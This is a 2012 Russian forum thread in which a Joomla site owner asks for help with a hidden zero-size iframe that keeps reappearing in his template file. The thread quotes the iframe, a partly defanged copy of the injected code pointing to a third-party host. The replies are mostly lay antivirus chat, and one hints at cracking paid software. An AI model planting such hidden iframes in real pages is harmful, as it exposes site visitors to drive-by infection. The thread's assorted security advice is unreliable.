Главная (Newsland) Николай Савельев Срочно нужна помощь

25.03.2012 04:00

Срочно нужна помощь

Доброе всем время суток.

У меня сайт сделан на Joomla и непонятная хрень прописывается в шаблоне сайта в файле index.php.

То, что появляется в шаблоне сайта

iframe name="SagUTeXYne" src="http://phsp.ru/_/go.php?sid=1" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no" iframe

Друзья подскажите пожалуйста, как победить хрень, так как чистка сайта и смены паролей не помогает… это хрень опять потом появляется

Заранее благодарен Николай

Источник: http://godes.ru/

19 69 866

Смотрите также

каспер данную хрень блокирует... но суть не в том, что выдает антивирус нортон, касперский, аваст, вэб и т.д. и т.п. а смысл в том, что проект заражен и может заразить пользователя, который на него перешел...

1 Экспертное мнение

Валерий Зарецкий ответил Николай Савельев

2012-03-25

# 12891795

Тогда форматирование и умерить свое любопытство с сомнительными проектами ...

0 Экспертное мнение

Николай Савельев ответил Валерий Зарецкий

2012-03-25

# 12892442

это мой проект и я его не планирую хоронить

1 Экспертное мнение

Валерий Зарецкий ответил Николай Савельев

2012-03-25

# 12892658

Так это другое дело , тогда и надо обрашаться к конкретным спецам.

0 Экспертное мнение

Николай Савельев ответил Валерий Зарецкий

2012-03-25

# 12892800

да это и так понятно...

1 Экспертное мнение

Показать 9 ответов

Свернуть ответы

Владимир Ткаченко

2012-03-25

# 12889575

Увы, не тямаю... А то бы помог.

1 Экспертное мнение

Николай Савельев ответил Владимир Ткаченко

2012-03-25

# 12889843

спасибо

0 Экспертное мнение

Показать 1 ответ

Свернуть ответы

Александр Нужин

2012-03-25

# 12889640

В ГП если и есть програмеры. то ни не афишируют себя. А Практически все обычные юзеры.Извините!

2 Экспертное мнение

Николай Савельев ответил Александр Нужин

2012-03-25

# 12889833

да блин вылез гимор((( столько планов было, а тут теперь чисткой занимаюсь... как будто специально мне это подкинули(((

0 Экспертное мнение

Ольга Александрова ответил Николай Савельев

2012-03-25

# 12889879

Вероятно, и подкинули

1 Экспертное мнение

Александр Нужин ответил Николай Савельев

2012-03-25

# 12890148

Вы бы лучше сами не ковыряли. Самолечение не скользкая штука. Ищите програмера.

2 Экспертное мнение

Николай Савельев ответил Александр Нужин

2012-03-25

# 12890290

спасибо за совет

0 Экспертное мнение

Показать 4 ответа

Свернуть ответы

Ольга Александрова

2012-03-25

# 12889852

Ну это ссылка явно.Возможно, слегка испорченная. Если чуть поправить, вот так: «iframe name="SagUTeXYne" src="http://psp.ru/_/go.php?sid=1" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no" iframe», запросто попадаешь вот сюда: http://psp-3000.electrorai.ru/

Не может быть, чтобы она не удалялась. Сайты на Joomla я, правда, не знаю.

0 Экспертное мнение

Николай Савельев ответил Ольга Александрова

2012-03-25

# 12890122

я специально убрал в начали и в конце данного кода несколько символов, так как не знаю возможности данного редактора... не дай бог, что эта хрень еще здесь активировалась(((

0 Экспертное мнение

Николай Савельев ответил Ольга Александрова

2012-03-25

# 12890180

я ее убираю, а она на другой день опять появляется... уже меня пороли на FTP и SQL, а она опять появляется ((( походу сидит червяк на самом сайте(((

0 Экспертное мнение

Ольга Александрова ответил Николай Савельев

2012-03-25

# 12890308

Комментарий удален модератором

0 Экспертное мнение

Ольга Александрова ответил Николай Савельев

2012-03-25

# 12890370

«Iframe» – это контейнер. Или плавающий фрейм, который находится внутри обычного документа. И с чем-то он у Вас на сайте связан

1 Экспертное мнение

Николай Савельев ответил Ольга Александрова

2012-03-25

# 12890446

это понятно... но кто этот контейнер наполняет и как заткнуть эту дырку?

0 Экспертное мнение

Ольга Александрова ответил Николай Савельев

2012-03-26

# 12908686

Проверьете сайт на вирусы. Комп на вирусы. Я использую "Аваст". Если это чья-то навячивая реклама, а похоже, то она как должна отображдаться на сайте. Какой-то файл у Вас отбражается под именем "DYvynEXUZe". Возможно куда-то встроен. Найти и удалить.

1 Экспертное мнение

Показать 6 ответов

Свернуть ответы

null null

2012-03-25

# 12889866

Коль, пошарь в сообществах. Было какое-то, ликбез по компам... Название не помню, админ там Алёна. А лучше зови программера.

1 Экспертное мнение

Николай Савельев ответил null null

2012-03-25

# 12890250

Мой программер сильно занятой и работает в Новосибирске, а я сам из Кузбасса… да и нужно самому нужно учиться… вот я рою и копаю и спрашиваю

0 Экспертное мнение

Юрий Дербенёв ответил Николай Савельев

2012-03-25

# 12891777

Есть такая серия книг "Для чайников" (английский вариант "Для занятых"). Если откинуть в сторону некоторую обидность прозвища, то данная серия (кстати, весьма грамотно не только написанная, но и переведенная) не только поможет в понимании многих компьютерных проблем, но и доставит удовольствие от чтения. Попробуйте "HTML для чайников". Его можно не только в книжном магазине найти, но и в интернете скачать.

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-25

# 12892483

спасибо... обязательно найду

0 Экспертное мнение

Показать 3 ответа

Свернуть ответы

Игорь Цесарев

2012-03-25

# 12890404

Николай, до тех пор, пока я не начал пользоваться "КИС", всякую хрень ловил периодически. Удалял через панель управления - программы- удаление программ. Искал методом тыка, в основном ориентировался по датам появления программ. Если видел, что я её не ставил, удалял. И еще советую поставить на комп Нортон-утилиту, она сама все ищет и исправляет.

1 Экспертное мнение

Николай Савельев ответил Игорь Цесарев

2012-03-25

# 12890541

у меня проблема не с компом, а с сайтом... комп у меня в порядке... винда лицензия, оффис тоже... Kaspersky Internet Security 2012... все постоянно обновляется и проверяется

0 Экспертное мнение

Юрий Дербенёв ответил Игорь Цесарев

2012-03-25

# 12891636

KIS + Norton? Ну-ну. Этот "защитный комплект" в состоянии "повесить" Athlon FX и Core i7. Желаю успехов в дальнейшем изнасиловании вашего компьютера! 8)))

0 Экспертное мнение

Игорь Цесарев ответил Юрий Дербенёв

2012-03-25

# 12891819

Почему? Объясните? Нортон же не антивирусник, если ВЫ о конфликтах.

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-25

# 12892530

я не дурак, что два антивируса держать в одной системе... раньше я пользовался норном, а теперь каспером

0 Экспертное мнение

Николай Савельев ответил Игорь Цесарев

2012-03-25

# 12892588

у симантека есть и антивирус, есть и комплект утилит, которые очень полезные и удобные в работе

0 Экспертное мнение

Юрий Дербенёв ответил Игорь Цесарев

2012-03-25

# 12892846

Я не о конфликтах антивирусников. Каспера одного хватает для загрузки процессора и оперативки почти на 100%. Помню, в 2009-м "великий гуру" Женя Касперский публично похвастался в сети и по ТВ, что его славная контора создала антивирус, который (дословно) "почти не загружает процессор". Наверное, именно после этого заявления его представили на госпремию. 8))) А после премирования нахрена дальше работать? И KIS 2012, являясь по сути тем же, только перелицованным, 2010 продолжает "радовать" пользователей. 8)))

Что касается Нортона, его утилиты были актуальны для DOS. Грамотно преодолеть виндосовский API ему так и не удалось. Жаль, что он в свое время не оценил предложения написать свою операционную систему...

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-25

# 12893190

ну не знаю у меня проц i5 и тормозов я не чувствую из-за каспера 2012

0 Экспертное мнение

Игорь Цесарев ответил Юрий Дербенёв

2012-03-25

# 12893510

Я простой пользователь, многого не понимаю и не знаю (что касается компа и программ). Но Нортон утилиты мне нужны для дефрагментации, оптимизации. Или что-нибудь другое посоветуете? Пока вроде бы жалоб на Нортон у меня не было.

1 Экспертное мнение

Юрий Дербенёв ответил Николай Савельев

2012-03-25

# 12893625

Дело вкуса. Просто попробуйте сравнить поведение машины с каспером и без.

1 Экспертное мнение

Юрий Дербенёв ответил Игорь Цесарев

2012-03-25

# 12893806

Для этих целей давно написаны программные продукты, способные дать старику-Нортону 100 очков вперед. Например, Auslogics BoostSpeed® или TuneUp Utilities™ 2012. И то, и другое, во-первых, дешевле нортоновских утилит, а во-вторых, можно и "лекарство" найти...

1 Экспертное мнение

Игорь Цесарев ответил Юрий Дербенёв

2012-03-25

# 12894091

Спасибо, но тогда уже специально для чайника))) посоветуйте что-нибудь конкретно из этих двух.

1 Экспертное мнение

Юрий Дербенёв ответил Игорь Цесарев

2012-03-25

# 12895272

TuneUp потяжелее и посложнее. Я уже несколько лет пользуюсь Auslogics BoostSpeed®. Начинал еще с 3-й версии. Сейчас вышла уже 5.2.1. Платная только комплексная оболочка. Отдельные компоненты типа Auslogics Disk Defrag, Auslogics Registry Cleaner, Auslogics Registry Defrag, работают самостоятельно и бесплатны.

2 Экспертное мнение

Игорь Цесарев ответил Юрий Дербенёв

2012-03-25

# 12895676

Спасибо большое, попробую.

1 Экспертное мнение

Юрий Дербенёв ответил Игорь Цесарев

2012-03-25

# 12895810

Да, собственно, и не за что. 8)

2 Экспертное мнение

Показать 14 ответов

Свернуть ответы

Юрий Дербенёв

2012-03-25

# 12891539

Это попытка влепить на вашу страничку баннерную рекламу. Разметка окна баннера на HTML и ссылка на сайт http://idillia31.ru/index_.html. Там, правда, вакуум.

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-25

# 12892630

вот как от этого гимора избавиться, чтоб он больше меня не напрягал?

0 Экспертное мнение

Юрий Дербенёв ответил Николай Савельев

2012-03-25

# 12893007

Вполне возможно, что это действительно "червяк" на сервере. Попробуйте напрячь техподдержку Joomla, послав им описание внедряющегося кода. Пусть покопают у себя или хотя бы объяснят, что это, откуда берется и зачем.

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-25

# 12893264

сервак я арендую у masterhost и они меня уверяют, что у них все зашибись и тычут меня в error.log в котором я полный нуль

0 Экспертное мнение

Юрий Дербенёв ответил Николай Савельев

2012-03-25

# 12893554

То есть происхождение внедряющегося кода они анализировать и не пытались? А error.log не сохранился?

1 Экспертное мнение

Николай Савельев ответил Юрий Дербенёв

2012-03-26

# 12902457

error.log он у них на сервере и его можно выгрузить

0 Экспертное мнение

Юрий Дербенёв ответил Николай Савельев

2012-03-26

# 12905581

Хотелось бы почитать.

1 Экспертное мнение

Показать 6 ответов

Свернуть ответы

евгений климанов

2012-03-25

# 12895845

Николай по своему опыту знаю,даже касперский пропускает вирусы так что попробуй сделать полную проверку компа тем же каспером,если не поможет придется грохнуть винду,удачи.

1 Экспертное мнение

Юрий Дербенёв ответил евгений климанов

2012-03-26

# 12905869

Касперский ничем не лучше и не хуже других антивирусов. Только симптомы монстризма и мании величия меня лично от данного антивируса отталкивают. Однако, при всем моем неуважении к данному программному продукту, программисты лаборатории Касперского единожды создали действительно удачный вариант. А именно программку для создания загрузочной флэшки с антивирусом на линуксовом загрузчике. При наличии интернета и соответствующем обновлении антивирусных баз эта прога вылавливает такое, чего, как может показаться, и в природе не существует. С помощью такой флэшки мне удалось спасти Windows от переустановки уже, наверное, на доброй сотне компьютеров. Правда, почему-то ну очень недолго пролежала она на сайте и была резко спрятана...

2 Экспертное мнение

евгений климанов ответил Юрий Дербенёв

2012-03-26

# 12910525

Вы программист или как то связаны с этим,просто в отношении касперского могу поспорить,у меня тоже (каспер 12) однако последний случай немного разочаровал меня. Получилось так,что я взял у товарища диск с играми и сбросил себе на винт,защита а именно касперский тупо молчал,короче все как надо,прошла примерно неделя, захожу на сайт ГП браузер выдает что то типа текстового файла вообщем всякий бред не буду углубляться в тех. подробности,первое что делаю перезагружаю причем раз нацать результат тот же,вариантов не оставалось как только снести винду а потом думаю попробую проверить касперским ну и как результат он нашел трояна,причем не единственном числе и как я и предполагал с теми играми что взял у товарища так вот вопрос как их пропустил антивирусник не понятно,короче все отправил на лечения как результат интернет заработал,сайт ГП получил свой обычный интерфейс.

1 Экспертное мнение

Юрий Дербенёв ответил евгений климанов

2012-03-26

# 12911122

Я не программист. Я - системщик-железячник, то есть фактически универсал. У каспера масса настроек, в которых простому пользователю достаточно проблематично разобраться. Случайный щелчок, и мониторинг в реальном времени отключен. А в этом случае есть антивирусник или нет его - разница отсутствует. Или, как вариант, троян продвинутый, заточен на завладение правами администратора и отключение антивируса. Ну в общем где-то так.

Трояну ведь "валить" систему не интересно. Его задача саморазмножаться, рассылать свои копии из-под винды и воровать информацию. А пакости в систему - результат кривых ручек вирусописателя.

1 Экспертное мнение